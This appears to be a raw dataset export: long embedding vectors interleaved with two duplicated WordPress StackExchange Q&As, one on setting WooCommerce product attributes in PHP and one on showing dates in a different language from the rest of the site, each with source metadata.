-0.03021240234375, -0.00136566162109375, 0.0183868408203125, 0.0011186599731445312, -0.01328277587890625, -0.0147247314453125, -0.0086517333984375, 0.01053619384765625, -0.0125732421875, -0.0280914306640625, -0.025115966796875, 0.0023212432861328125, 0.042236328125, -0.0079498291015625, -0.040008544921875, 0.0262298583984375, -0.03607177734375, 0.037872314453125, -0.0181732177734375, -0.03302001953125, 0.0035839080810546875, 0.016876220703125, -0.0027923583984375, -0.0097503662109375, -0.043121337890625, 0.0071258544921875, -0.02435302734375, 0.0209503173828125, 0.053985595703125, -0.0269622802734375, -0.01617431640625, -0.0125885009765625, 0.007091522216796875, 0.0256805419921875, -0.0100250244140625, -0.0123443603515625, 0.054412841796875, -0.00795745849609375, -0.018218994140625, -0.06378173828125, -0.0018701553344726562, -0.05743408203125, 0.020538330078125, -0.01134490966796875, -0.0099945068359375, 0.016021728515625, -0.032958984375, -0.033599853515625, 0.06109619140625, -0.004161834716796875, -0.023040771484375, -0.0714111328125, 0.0024318695068359375, -0.007617950439453125, 0.0275726318359375, -0.01271820068359375, -0.050079345703125, -0.0203399658203125, 0.046234130859375, -0.007293701171875, 0.04412841796875, 0.01129913330078125, -0.0021495819091796875, 0.04119873046875, 0.023040771484375, 0.032958984375, -0.033233642578125, 0.01555633544921875, -0.017303466796875, 0.035675048828125, 0.037872314453125, -0.028594970703125, 0.04510498046875, 0.0034160614013671875, 0.0024471282958984375, -0.021026611328125, -0.032196044921875, -0.05224609375, -0.0159759521484375, 0.1185302734375, 0.07696533203125, 0.037109375, -0.04022216796875, -0.0195159912109375, -0.02716064453125, -0.0208587646484375, 0.01413726806640625, 0.0213623046875, -0.042510986328125, 0.03277587890625, 0.023529052734375, 0.005096435546875, -0.031036376953125, -0.02191162109375, -0.012420654296875, -0.0032176971435546875, 0.03033447265625, 0.028076171875, 0.00811004638671875, 0.0196075439453125, 0.01702880859375, -0.007709503173828125, 0.036468505859375, -0.04010009765625, 0.01751708984375, 0.028656005859375, -0.0172576904296875, -0.020263671875, -0.01041412353515625, -0.0024127960205078125, 0.00473785400390625, 0.001110076904296875, 0.02105712890625, 0.00252532958984375, -0.001140594482421875, -0.005126953125, 0.001476287841796875, -0.0004076957702636719, -0.01328277587890625, 0.0103607177734375, 0.0280609130859375, -0.00848388671875, 0.08148193359375, 0.00043845176696777344, -0.0186614990234375, 0.01580810546875, 0.01116180419921875, -0.0170745849609375, 0.007293701171875, 0.0099639892578125, -0.046783447265625, -0.0092010498046875, -0.013916015625, -0.052947998046875, -0.03326416015625, -0.01012420654296875, 0.01323699951171875, -0.026123046875, 0.017303466796875 ]
f628cc160f2f4334ec48cd3b52ee5c47b9054d25
Wordpress Stackexchange Q: Woocommerce add to simple product attribute programmatically i want to create a function which will add to specific products an attribute programmatically. i use the below code but it doesnt seem to work. $attributedata = Array( 'pa_color'=>Array( 'name'=>'pa_color', 'value'=>'black', 'is_visible' => '1', 'is_taxonomy' => '1' ) ); update_post_meta( $productID,'_product_attributes',$attributedata ); if i set taxonomy to 0 the attribute is passed to the product but it doesnt appear in the front end unless i press update manually to each product. what can i do to add attributes to product? i want to mention that the products are simple products not variable. A: wp_set_object_terms( $productID, 'black', 'pa_color', true ); $att_color = Array('pa_color' =>Array( 'name'=>'pa_color', 'value'=>'black', 'is_visible' => '1', 'is_taxonomy' => '1' )); update_post_meta( $productID, '_product_attributes', $att_color);
Q: Woocommerce add to simple product attribute programmatically i want to create a function which will add to specific products an attribute programmatically. i use the below code but it doesnt seem to work. $attributedata = Array( 'pa_color'=>Array( 'name'=>'pa_color', 'value'=>'black', 'is_visible' => '1', 'is_taxonomy' => '1' ) ); update_post_meta( $productID,'_product_attributes',$attributedata ); if i set taxonomy to 0 the attribute is passed to the product but it doesnt appear in the front end unless i press update manually to each product. what can i do to add attributes to product? i want to mention that the products are simple products not variable. A: wp_set_object_terms( $productID, 'black', 'pa_color', true ); $att_color = Array('pa_color' =>Array( 'name'=>'pa_color', 'value'=>'black', 'is_visible' => '1', 'is_taxonomy' => '1' )); update_post_meta( $productID, '_product_attributes', $att_color);
wordpress
{ "language": "en", "length": 125, "provenance": "stackexchange_00019.jsonl.gz:486726", "question_score": "5", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/305461" }
[ 0.03167724609375, -0.0151824951171875, -0.0165252685546875, -0.054534912109375, 0.01073455810546875, -0.01528167724609375, 0.0168304443359375, 0.0185699462890625, -0.002941131591796875, 0.016632080078125, -0.030426025390625, -0.03631591796875, -0.0009722709655761719, -0.01313018798828125, -0.011749267578125, -0.0450439453125, 0.0272674560546875, -0.0024967193603515625, 0.02178955078125, 0.0171966552734375, 0.0026264190673828125, 0.0243682861328125, 0.01213836669921875, 0.006649017333984375, 0.03271484375, -0.050018310546875, 0.023773193359375, -0.040435791015625, 0.0411376953125, -0.00411224365234375, 0.02178955078125, 0.01186370849609375, 0.0389404296875, -0.044708251953125, 0.0271453857421875, 0.042388916015625, 0.0304718017578125, -0.03363037109375, -0.0013637542724609375, 0.00014197826385498047, 0.044525146484375, -0.0206146240234375, 0.02606201171875, 0.0577392578125, -0.0051116943359375, -0.05194091796875, 0.058563232421875, -0.016876220703125, 0.00753021240234375, -0.033477783203125, 0.01806640625, 0.06036376953125, 0.0194091796875, -0.01154327392578125, 0.0025157928466796875, 0.038909912109375, -0.0379638671875, -0.023529052734375, 0.026641845703125, 0.005970001220703125, -0.0016040802001953125, -0.05230712890625, 0.03216552734375, -0.0182342529296875, 0.02288818359375, 0.00897979736328125, -0.00943756103515625, 0.008331298828125, -0.029876708984375, 0.00274658203125, 0.0321044921875, -0.038055419921875, -0.00742340087890625, 0.03851318359375, 0.01218414306640625, -0.06744384765625, 0.0205535888671875, -0.009521484375, 0.0016269683837890625, 0.062042236328125, 0.01508331298828125, 0.00649261474609375, 0.037506103515625, -0.043426513671875, 0.024383544921875, -0.0110015869140625, -0.00466156005859375, -0.016448974609375, 0.0009965896606445312, -0.05316162109375, -0.01284027099609375, 0.01348876953125, -0.03369140625, -0.0167694091796875, -0.0477294921875, -0.039794921875, -0.020416259765625, 0.0173492431640625, 0.0159149169921875, 0.0650634765625, 0.01349639892578125, -0.051605224609375, 0.07037353515625, -0.0565185546875, 0.0022716522216796875, -0.00740814208984375, -0.0206451416015625, -0.01505279541015625, -0.0027294158935546875, 0.04296875, -0.0299530029296875, -0.0276031494140625, -0.01299285888671875, -0.008148193359375, -0.033905029296875, 0.004589080810546875, -0.0400390625, 0.005657196044921875, 0.00879669189453125, 0.020904541015625, -0.006862640380859375, 0.0192413330078125, 0.023590087890625, -0.00966644287109375, -0.010986328125, -0.00949859619140625, -0.0016603469848632812, -0.04522705078125, 0.0226898193359375, 0.007366180419921875, -0.0660400390625, 0.0455322265625, 0.075927734375, -0.0257720947265625, -0.0163421630859375, -0.0150604248046875, 0.0283355712890625, 0.0110015869140625, 0.01119232177734375, 0.0017614364624023438, 0.0110015869140625, -0.00634765625, 0.005641937255859375, 0.029388427734375, 0.024017333984375, 0.0069122314453125, -0.005828857421875, 0.0209197998046875, 0.0252685546875, -0.026519775390625, 0.061492919921875, -0.06427001953125, -0.0165252685546875, 0.02392578125, 0.041595458984375, 0.0216827392578125, 0.042510986328125, -0.0195465087890625, 0.01006317138671875, 0.006015777587890625, 0.018768310546875, -0.01052093505859375, -0.031402587890625, 0.003406524658203125, -0.02264404296875, 0.0230712890625, -0.00043272972106933594, 0.0012359619140625, 0.0274505615234375, 0.028900146484375, -0.00528717041015625, 0.0017099380493164062, 0.058563232421875, 0.00917816162109375, -0.0202789306640625, -0.0030689239501953125, -0.0124664306640625, 0.07452392578125, 0.0533447265625, -0.054473876953125, -0.041839599609375, -0.05194091796875, 0.116455078125, -0.039886474609375, -0.07183837890625, 0.036651611328125, -0.00263214111328125, 0.07708740234375, 0.00848388671875, 0.0173797607421875, 0.0229034423828125, 0.0030002593994140625, -0.0182952880859375, -0.0237884521484375, 0.0189056396484375, -0.00803375244140625, -0.006183624267578125, -0.0042572021484375, 0.0004031658172607422, -0.00760650634765625, -0.012603759765625, -0.012847900390625, 0.03338623046875, -0.0148773193359375, -0.0128173828125, 0.00882720947265625, -0.0081787109375, 0.034515380859375, -0.09228515625, -0.0098419189453125, 0.0428466796875, -0.046295166015625, 0.01629638671875, -0.045318603515625, 0.0147552490234375, -0.0322265625, -0.0061492919921875, 0.034881591796875, 0.0025653839111328125, 0.0029697418212890625, 0.050018310546875, -0.03253173828125, 0.03955078125, 0.0394287109375, 0.0175018310546875, 0.0278778076171875, -0.005107879638671875, 0.005641937255859375, 0.06719970703125, 0.02130126953125, 0.033782958984375, -0.023529052734375, 0.0379638671875, 0.0082550048828125, -0.01055908203125, 0.005916595458984375, 0.004520416259765625, -0.10333251953125, 0.00153350830078125, 0.0538330078125, 0.034210205078125, 0.009246826171875, 0.01320648193359375, 0.0303192138671875, 0.10394287109375, 0.0244903564453125, 0.0183258056640625, -0.0096282958984375, -0.012054443359375, 0.011932373046875, 0.0268096923828125, 0.0082244873046875, 0.0244293212890625, -0.05523681640625, 0.01171112060546875, 0.054840087890625, -0.0164947509765625, 0.02191162109375, -0.0535888671875, 0.0198974609375, -0.0224456787109375, -0.036102294921875, 0.023101806640625, -0.03656005859375, 0.060882568359375, 0.042022705078125, 0.0391845703125, 0.028594970703125, -0.048187255859375, 0.04693603515625, 0.0187530517578125, -0.0193939208984375, -0.02423095703125, 0.0009679794311523438, 0.00006514787673950195, -0.0207672119140625, -0.06671142578125, 0.0445556640625, 0.0013294219970703125, -0.014892578125, 0.00995635986328125, 0.03216552734375, 0.0291595458984375, -0.00047969818115234375, 0.0115966796875, -0.037109375, -0.0031223297119140625, -0.007541656494140625, -0.039825439453125, -0.0299224853515625, -0.0188140869140625, 0.053375244140625, -0.0237274169921875, 0.031341552734375, 0.01097869873046875, 0.013092041015625, -0.0218048095703125, -0.01209259033203125, 0.032806396484375, -0.028411865234375, 0.0281219482421875, 0.047882080078125, -0.007965087890625, 0.02313232421875, 0.00018286705017089844, -0.01904296875, -0.044708251953125, 0.02392578125, -0.0079345703125, -0.0208587646484375, -0.025238037109375, 0.0648193359375, 0.00449371337890625, 0.0093536376953125, -0.0010137557983398438, -0.0221099853515625, 0.01097869873046875, 0.007709503173828125, -0.043701171875, -0.044769287109375, 0.0396728515625, -0.0755615234375, -0.0042724609375, -0.01004791259765625, -0.043975830078125, -0.01305389404296875, 0.0316162109375, -0.01004791259765625, -0.031494140625, -0.0062103271484375, 0.0116119384765625, -0.039306640625, -0.017425537109375, -0.0048675537109375, -0.0023345947265625, -0.0095367431640625, 0.0134735107421875, 0.025848388671875, -0.0111846923828125, -0.0214691162109375, 0.043182373046875, -0.04443359375, -0.0196533203125, 0.0182952880859375, 0.032928466796875, -0.017120361328125, -0.008758544921875, 0.00029587745666503906, 0.0010366439819335938, 0.056610107421875, -0.0509033203125, 0.004680633544921875, 0.0009355545043945312, 0.00031113624572753906, 0.0305023193359375, -0.0031147003173828125, 0.005893707275390625, 0.056182861328125, 0.04718017578125, -0.01056671142578125, -0.009490966796875, 0.0128326416015625, -0.0183868408203125, 0.016571044921875, -0.0204925537109375, -0.0037212371826171875, 0.0175628662109375, 0.01629638671875, -0.0018339157104492188, -0.01494598388671875, 0.0045166015625, -0.01340484619140625, -0.051727294921875, -0.0111083984375, -0.024566650390625, 0.0028591156005859375, 0.03460693359375, -0.01149749755859375, 0.01415252685546875, 0.025146484375, 0.026702880859375, 0.01540374755859375, 0.0250244140625, 0.0009784698486328125, -0.00040531158447265625, 0.016510009765625, -0.000949859619140625, 0.0291900634765625, -0.018310546875, -0.024078369140625, -0.0086822509765625, 0.041168212890625, -0.0187530517578125, -0.0226898193359375, -0.00921630859375, 0.016876220703125, -0.03369140625, -0.0328369140625, -0.01082611083984375, -0.0017938613891601562, -0.0770263671875, 0.01953125, 0.004673004150390625, -0.011444091796875, -0.01425933837890625, 0.0203399658203125, -0.0513916015625, -0.034698486328125, 0.038055419921875, -0.035369873046875, -0.00707244873046875, 0.041473388671875, -0.011871337890625, 0.01158905029296875, -0.022735595703125, -0.00809478759765625, -0.0693359375, -0.000598907470703125, -0.0080108642578125, 0.036407470703125, -0.032073974609375, 0.06500244140625, -0.058807373046875, 0.0120697021484375, -0.01470184326171875, 0.007610321044921875, 0.00731658935546875, 0.0343017578125, -0.0236053466796875, -0.04669189453125, -0.0256195068359375, -0.032623291015625, -0.0305023193359375, -0.0201416015625, 0.032958984375, 0.0252838134765625, 0.007053375244140625, 0.0153961181640625, 0.006946563720703125, -0.007572174072265625, -0.04461669921875, -0.00295257568359375, 0.031829833984375, 0.043701171875, -0.01139068603515625, 0.027984619140625, -0.01861572265625, -0.032867431640625, 0.01910400390625, -0.01454925537109375, -0.03582763671875, 0.00905609130859375, 0.029205322265625, 0.0254058837890625, -0.012664794921875, 0.0184478759765625, 0.017730712890625, 0.041473388671875, 0.01520538330078125, -0.0152130126953125, -0.0247344970703125, -0.03472900390625, 0.027191162109375, 0.00727081298828125, 0.044769287109375, -0.036468505859375, 0.0240478515625, 0.00269317626953125, -0.006717681884765625, 0.00942230224609375, 0.01239776611328125, -0.0006513595581054688, -0.04473876953125, -0.049072265625, 0.01525115966796875, -0.002208709716796875, 0.029876708984375, 0.00966644287109375, 0.034912109375, -0.047271728515625, -0.03564453125, 0.021453857421875, -0.01229095458984375, -0.0252227783203125, 0.00384521484375, 0.00307464599609375, -0.03118896484375, -0.057373046875, -0.016204833984375, -0.017578125, 0.0136566162109375, 0.02197265625, 0.0172882080078125, -0.00439453125, 0.003589630126953125, -0.061676025390625, -0.0181732177734375, 0.0302886962890625, -0.00959014892578125, -0.0609130859375, -0.003421783447265625, -0.016632080078125, 0.038818359375, 0.0302581787109375, -0.04937744140625, 0.027130126953125, 0.0293731689453125, 0.01320648193359375, 0.0223236083984375, -0.0804443359375, 0.04522705078125, -0.0277557373046875, 0.01258087158203125, 0.0048065185546875, -0.00440216064453125, -0.01459503173828125, 0.050323486328125, 0.0124664306640625, 0.0122528076171875, -0.01392364501953125, 0.0177001953125, 0.005859375, 0.07366943359375, 0.0142822265625, -0.0557861328125, -0.01299285888671875, 0.05755615234375, -0.0266876220703125, -0.0311737060546875, -0.01235198974609375, 0.005290985107421875, 0.031890869140625, -0.0572509765625, -0.0301055908203125, 0.029876708984375, -0.026947021484375, 0.0025424957275390625, -0.027923583984375, -0.048187255859375, -0.00921630859375, -0.01120758056640625, 0.0133514404296875, 0.04473876953125, 0.01099395751953125, 0.00826263427734375, -0.024627685546875, -0.039520263671875, -0.0296783447265625, 0.002567291259765625, 0.00177001953125, -0.0295867919921875, -0.0323486328125, -0.0279388427734375, -0.061431884765625, -0.02276611328125, 0.0333251953125, 0.0122528076171875, -0.00716400146484375, -0.01702880859375, -0.001194000244140625, -0.001312255859375, 0.07305908203125, -0.0201263427734375, -0.06097412109375, -0.004825592041015625, -0.00876617431640625, 0.05133056640625, 0.031829833984375, -0.0180206298828125, -0.034698486328125, -0.0157318115234375, -0.025054931640625, 0.0057830810546875, -0.0021991729736328125, -0.004207611083984375, 0.004863739013671875, -0.00037550926208496094, 0.04571533203125, -0.0285491943359375, -0.0300445556640625, 0.019683837890625, -0.00875091552734375, -0.0291900634765625, 0.04315185546875, 0.00571441650390625, -0.004100799560546875, -0.010284423828125, 0.046417236328125, 0.00402069091796875, -0.01322174072265625, -0.0147247314453125, -0.01849365234375, 0.0034236907958984375, -0.034759521484375, -0.006702423095703125, -0.0391845703125, 0.0064544677734375, 0.03375244140625, 0.07269287109375, -0.0009946823120117188, 0.0213165283203125, -0.038177490234375, 0.002140045166015625, -0.0165863037109375, 0.0423583984375, -0.04583740234375, -0.029388427734375, 0.04302978515625, -0.06268310546875, -0.02301025390625, 0.0124359130859375, 0.0013036727905273438, 0.045745849609375, -0.0229034423828125, 0.04852294921875, 0.025543212890625, -0.035186767578125, 0.026397705078125, 0.075439453125, 0.0026950836181640625, 0.052978515625, -0.0236663818359375, 0.0090789794921875, 0.032928466796875, 0.02825927734375, 0.002655029296875, -0.01309967041015625, 0.0440673828125, -0.004608154296875, -0.0292510986328125, 0.0191192626953125, -0.0435791015625, 0.01273345947265625, 0.0234832763671875, 0.049224853515625, -0.05047607421875, 0.0098419189453125, 0.01092529296875, -0.025909423828125, 0.0193023681640625, 0.01922607421875, -0.006519317626953125, 0.006259918212890625, -0.0077667236328125, -0.0200653076171875, -0.0170745849609375, -0.0026264190673828125, 0.0025806427001953125, 0.020965576171875, 0.011962890625, 0.004489898681640625, -0.00574493408203125, -0.04022216796875, -0.050048828125, 0.033599853515625, -0.042816162109375, 0.00015926361083984375, -0.031768798828125, 0.024871826171875, -0.049774169921875, -0.06512451171875, -0.00487518310546875, -0.028350830078125, -0.0001417398452758789, 0.048248291015625, 0.00522613525390625, 0.0240020751953125, 0.04400634765625, 0.002193450927734375, 0.004730224609375, 0.005096435546875, 0.01129150390625, 0.0257568359375, 0.001911163330078125, 0.0158233642578125, -0.039154052734375, -0.0252838134765625, -0.012603759765625, -0.04815673828125, -0.004261016845703125, -0.0078582763671875, 0.0256500244140625, 0.045166015625, -0.00899505615234375, -0.02984619140625, 0.058197021484375, 0.019561767578125, -0.0283355712890625, 0.01438140869140625, 0.003650665283203125, -0.034332275390625, -0.004718780517578125, 0.0066070556640625, -0.0238800048828125, 0.003131866455078125, 0.0187225341796875, -0.0614013671875, 0.061279296875, -0.00545501708984375, 0.02301025390625, 0.01468658447265625, 0.00843048095703125, -0.035675048828125, -0.034881591796875, -0.03387451171875, 0.007556915283203125, 0.0318603515625, 0.051544189453125, -0.03204345703125, -0.0247802734375, 0.0218353271484375, 0.054962158203125, 0.06005859375, 0.0061492919921875, -0.039031982421875, -0.01348876953125, 0.058380126953125, 0.04254150390625, -0.004261016845703125, 0.031524658203125, -0.01331329345703125, -0.057647705078125, 0.031707763671875, -0.01418304443359375, 0.01265716552734375, 0.022674560546875, 0.0070037841796875, 0.0119476318359375, -0.0018739700317382812, -0.0004069805145263672, -0.006683349609375, 0.01702880859375, 0.0033416748046875, -0.01885986328125, -0.0005040168762207031, -0.03875732421875, -0.0082244873046875, 0.00426483154296875, -0.032501220703125, 0.0257110595703125, 0.0072784423828125, -0.0227203369140625, 0.026092529296875, 0.0021495819091796875, 0.047882080078125, -0.0245361328125, 0.00896453857421875, 0.07562255859375, 0.00475311279296875, 0.00989532470703125, 0.05096435546875, -0.02142333984375, 0.006011962890625, -0.00446319580078125, 0.01148223876953125, -0.01479339599609375, 0.0300445556640625, 0.017181396484375, -0.010955810546875, -0.0207061767578125, 0.018310546875, 0.005947113037109375, -0.0085906982421875, 0.01087188720703125, -0.037200927734375, 0.036224365234375, -0.021270751953125, -0.046142578125, -0.05194091796875, 0.024688720703125, 0.045806884765625, 0.04559326171875, 0.01023101806640625, 0.017852783203125, -0.09661865234375, -0.02490234375, -0.05706787109375, 0.0090789794921875, 0.0242919921875, 0.08465576171875, 0.0172271728515625, 0.09228515625, -0.034027099609375, -0.058258056640625, -0.03515625, 0.0087890625, 0.0218048095703125, 0.01511383056640625, -0.0240631103515625, -0.00238037109375, 0.01158905029296875, 0.0242156982421875, 0.01751708984375, 0.0775146484375, 0.057891845703125, 0.023406982421875, -0.0179595947265625, 0.0083465576171875, 0.033721923828125, -0.0300750732421875, -0.003345489501953125, -0.01102447509765625, 0.06500244140625, 0.0406494140625, 0.01383209228515625, -0.0306854248046875, 0.063232421875, 0.021820068359375, -0.04779052734375, 0.040374755859375, -0.0175323486328125, -0.0280609130859375, 0.03955078125, -0.003032684326171875, 0.07684326171875, -0.01506805419921875, -0.0653076171875, 0.0121307373046875, -0.032440185546875, -0.036865234375, 0.0005064010620117188, 0.01152801513671875, -0.0545654296875, 0.0628662109375, 0.003662109375, -0.01293182373046875, 0.037445068359375, 0.0078582763671875, -0.02117919921875, 0.05078125, 0.04534912109375, 0.0076751708984375, -0.023773193359375, 0.006805419921875, -0.0097808837890625, 0.0081787109375, 0.020050048828125, 0.0689697265625, 0.0041351318359375, -0.002178192138671875, -0.000032007694244384766, 0.0236358642578125, -0.02801513671875, -0.0097808837890625, 0.0450439453125, -0.001102447509765625, -0.0183563232421875, -0.0054473876953125, -0.0004992485046386719, 0.001194000244140625, 0.035125732421875, -0.025421142578125, 0.0023212432861328125, -0.0404052734375, 0.0321044921875, -0.0258941650390625, 0.048675537109375, -0.0163116455078125, -0.04644775390625, -0.0621337890625, -0.0137481689453125, 0.0214385986328125, 0.0210723876953125, -0.01462554931640625, -0.00658416748046875, 0.0305938720703125, -0.0111236572265625, 0.006439208984375, 0.0211639404296875, 0.00826263427734375, 0.0286102294921875, 0.003875732421875, -0.0174102783203125, 0.0131072998046875, -0.016265869140625, 0.0241546630859375, -0.0128326416015625, 0.052032470703125, 0.009307861328125, -0.034820556640625, 0.05743408203125, 0.04620361328125, 0.043487548828125, -0.01105499267578125, -0.0027179718017578125, 0.0706787109375, -0.0242462158203125, -0.01013946533203125, -0.0016269683837890625, -0.029327392578125, -0.0509033203125, 0.00406646728515625, -0.00588226318359375, -0.004184722900390625, -0.042388916015625, -0.0269012451171875, 0.00865936279296875, 0.0400390625, -0.0144195556640625, -0.02984619140625, -0.01690673828125, -0.004207611083984375, 0.0831298828125, -0.0262451171875, -0.056915283203125, 0.035400390625, 0.0828857421875, -0.0169677734375, 0.00665283203125, -0.03790283203125, -0.045440673828125, -0.0302734375, 0.0306854248046875, 0.045013427734375, -0.0298614501953125, 0.0030078887939453125, -0.016937255859375, 0.02911376953125, 0.02349853515625, 0.0221710205078125, -0.041046142578125, 0.04541015625, -0.0174407958984375, -0.00812530517578125, -0.08447265625, -0.006855010986328125, -0.09967041015625, 0.0380859375, -0.01519012451171875, 0.01163482666015625, 0.0233612060546875, -0.0252227783203125, -0.045257568359375, 0.04974365234375, -0.0006108283996582031, -0.019561767578125, 0.01551055908203125, -0.021514892578125, -0.05670166015625, 0.07354736328125, 0.0195465087890625, -0.0235443115234375, 0.00843048095703125, 0.0501708984375, 0.004123687744140625, 0.01326751708984375, 0.04058837890625, -0.0008788108825683594, -0.0130615234375, -0.0167236328125, -0.012115478515625, -0.0032672882080078125, 0.022674560546875, -0.021270751953125, 0.028350830078125, 0.0018568038940429688, -0.03289794921875, 0.019439697265625, 0.030120849609375, -0.00328826904296875, 0.003040313720703125, -0.04736328125, -0.04193115234375, -0.06158447265625, 0.04656982421875, -0.005344390869140625, 0.0228118896484375, 0.03436279296875, 0.004077911376953125, 0.0199127197265625, -0.045501708984375, -0.021697998046875, 0.0308380126953125, -0.059051513671875, -0.004665374755859375, -0.0172882080078125, -0.004535675048828125, -0.0014362335205078125, 0.02191162109375, -0.0225830078125, 0.01299285888671875, 0.057342529296875, 0.0157012939453125, -0.0731201171875, 0.0073699951171875, -0.01255035400390625, 0.0022754669189453125, -0.00566864013671875, 0.002254486083984375, -0.01061248779296875, -0.0113677978515625, 0.0462646484375, 0.005031585693359375, -0.046661376953125, 0.012237548828125, 0.01145172119140625, 0.00969696044921875, 0.02508544921875, 0.0210723876953125, -0.02801513671875, -0.0177764892578125, -0.006923675537109375, -0.01194000244140625, -0.038177490234375, 0.0086517333984375, 0.038909912109375, -0.00274658203125, 0.09521484375, -0.026641845703125, 0.00274658203125, -0.0259246826171875, 0.0135345458984375, -0.0462646484375, 0.03997802734375, -0.0205078125, 0.010162353515625, 0.01434326171875, 0.01055908203125, 0.029632568359375, -0.00408172607421875, -0.0005321502685546875, 0.023345947265625, -0.0145721435546875, 0.007251739501953125 ]
d6cf511f294f32d85a444d5bf143fae4ae1f654e
Wordpress Stackexchange Q: How to change date language without changing the entire site language? I want my entire site in English, but the dates to be in another language. I tried to set PHP local like this: setlocale(LC_ALL, 'he'); Setting my whole website to another language from the admin panel does change the time language, but I don't want this. Any ideas on how to accomplish that? A: It sounds like you want to create a multilingual site; even if you aren't displaying multiple languages on the admin side, it sounds like you want one language in the backend and another on the frontend. You might want to check out WPBeginner's article on multi-language WordPress. If all you are changing is the date language, and you are comfortable editing template, then you can alter the date displays alone using PHP.
Q: How to change date language without changing the entire site language? I want my entire site in English, but the dates to be in another language. I tried to set PHP local like this: setlocale(LC_ALL, 'he'); Setting my whole website to another language from the admin panel does change the time language, but I don't want this. Any ideas on how to accomplish that? A: It sounds like you want to create a multilingual site; even if you aren't displaying multiple languages on the admin side, it sounds like you want one language in the backend and another on the frontend. You might want to check out WPBeginner's article on multi-language WordPress. If all you are changing is the date language, and you are comfortable editing template, then you can alter the date displays alone using PHP. A: You can change the global site language under Settings > General, but then edit your user account to set the admin language to whatever you want for your user account. For more info reference https://wptavern.com/wordpress-4-7-to-introduce-user-specific-language-setting-for-the-admin
wordpress
{ "language": "en", "length": 174, "provenance": "stackexchange_00019.jsonl.gz:486764", "question_score": "3", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/305583" }
[ 0.01216888427734375, -0.0164337158203125, -0.032684326171875, -0.0276641845703125, -0.01021575927734375, -0.04766845703125, 0.0033740997314453125, 0.009857177734375, 0.0396728515625, 0.00203704833984375, 0.0166778564453125, -0.0272979736328125, -0.008026123046875, -0.05328369140625, -0.01430511474609375, -0.00850677490234375, 0.036773681640625, -0.0009694099426269531, 0.017578125, -0.00725555419921875, -0.0233001708984375, 0.023101806640625, 0.0172119140625, 0.035614013671875, 0.06658935546875, -0.051666259765625, 0.0040283203125, -0.005214691162109375, 0.0259857177734375, 0.0006775856018066406, 0.04052734375, -0.0198516845703125, 0.0200653076171875, -0.00394439697265625, 0.003322601318359375, -0.0418701171875, 0.00640106201171875, -0.0132598876953125, -0.00896453857421875, 0.019989013671875, 0.0165863037109375, -0.028106689453125, -0.01526641845703125, 0.061798095703125, -0.0183258056640625, -0.0389404296875, 0.0157623291015625, -0.048187255859375, -0.0030536651611328125, -0.0164031982421875, -0.00013971328735351562, -0.01959228515625, 0.01050567626953125, -0.0200653076171875, -0.02252197265625, -0.0286865234375, 0.0096435546875, 0.004932403564453125, 0.035736083984375, -0.01059722900390625, -0.034271240234375, -0.003856658935546875, 0.025177001953125, 0.00667572021484375, 0.0015707015991210938, 0.01007843017578125, -0.01309967041015625, 0.00806427001953125, -0.05029296875, 0.00016987323760986328, 0.051544189453125, -0.0677490234375, 0.0277862548828125, -0.06085205078125, 0.021270751953125, 0.041290283203125, -0.0592041015625, -0.0132904052734375, 0.05194091796875, -0.0452880859375, 0.035430908203125, 0.019775390625, -0.0106964111328125, -0.05938720703125, 0.046417236328125, -0.01849365234375, -0.00013625621795654297, -0.00835418701171875, -0.07757568359375, -0.0384521484375, -0.050201416015625, 0.007476806640625, -0.1243896484375, -0.022705078125, 0.0121612548828125, -0.0170440673828125, -0.01015472412109375, 0.0240631103515625, -0.01873779296875, -0.0022430419921875, -0.03411865234375, 0.0123138427734375, -0.043914794921875, -0.01477813720703125, 0.017333984375, 0.01430511474609375, 0.0159912109375, 0.015960693359375, 0.040069580078125, 0.006412506103515625, 0.00511932373046875, 0.0693359375, -0.0296783447265625, -0.0309600830078125, -0.023956298828125, 0.044189453125, -0.0146026611328125, -0.007228851318359375, 0.004367828369140625, 0.014862060546875, 0.02349853515625, 0.038116455078125, -0.037750244140625, -0.0245513916015625, 0.00021064281463623047, -0.0161590576171875, -0.007503509521484375, -0.0014190673828125, 0.01837158203125, 0.0155487060546875, -0.0328369140625, -0.0091552734375, 0.049713134765625, 0.036376953125, 0.023651123046875, -0.004993438720703125, 0.0309600830078125, 0.02423095703125, -0.0005927085876464844, 0.0188140869140625, 0.01451873779296875, -0.0157928466796875, 0.0021343231201171875, 0.015716552734375, -0.059600830078125, -0.00921630859375, 0.0077362060546875, 0.032745361328125, -0.01416778564453125, -0.04266357421875, 0.017578125, -0.019561767578125, 0.0141448974609375, 0.0177154541015625, -0.0208740234375, -0.026641845703125, 0.01171112060546875, -0.01386260986328125, 0.0171051025390625, -0.0260162353515625, -0.02325439453125, -0.03485107421875, -0.006439208984375, -0.0024089813232421875, -0.020233154296875, 0.0303802490234375, 0.010101318359375, 0.01532745361328125, 0.022247314453125, -0.037689208984375, 0.030975341796875, 0.00567626953125, 0.0013666152954101562, -0.01428985595703125, -0.0020351409912109375, 0.01267242431640625, -0.030670166015625, 0.0034027099609375, 0.009033203125, 0.016387939453125, 0.0285186767578125, -0.0116119384765625, 0.014556884765625, 0.044342041015625, -0.044342041015625, -0.021453857421875, 0.00925445556640625, 0.046539306640625, 0.052642822265625, 0.0269622802734375, -0.0027751922607421875, -0.0189361572265625, -0.010711669921875, -0.0021610260009765625, -0.00820159912109375, 0.03204345703125, -0.043914794921875, 0.043670654296875, -0.0139923095703125, -0.0574951171875, 0.0166015625, 0.0218505859375, -0.0111541748046875, 0.0209197998046875, -0.02783203125, 0.0183868408203125, -0.0241851806640625, 0.034698486328125, 0.018707275390625, 0.0266571044921875, -0.00531768798828125, 0.03863525390625, -0.01537322998046875, -0.06475830078125, -0.03948974609375, 0.0184173583984375, 0.0097808837890625, 0.06915283203125, 0.00908660888671875, 0.01284027099609375, 0.03765869140625, -0.06488037109375, 0.05084228515625, 0.036712646484375, 0.0308380126953125, -0.01401519775390625, -0.00658416748046875, -0.01258087158203125, 0.03662109375, -0.01000213623046875, 0.000881195068359375, 0.039703369140625, -0.0223846435546875, -0.00966644287109375, -0.014984130859375, -0.0088043212890625, 0.00231170654296875, -0.07562255859375, 0.02142333984375, 0.04437255859375, 0.02191162109375, 0.0225982666015625, 0.0206451416015625, 0.0227203369140625, 0.0280914306640625, -0.0297698974609375, 0.023681640625, -0.01168060302734375, -0.0014324188232421875, 0.0252532958984375, 0.00472259521484375, -0.01442718505859375, 0.006160736083984375, -0.06591796875, -0.0208587646484375, 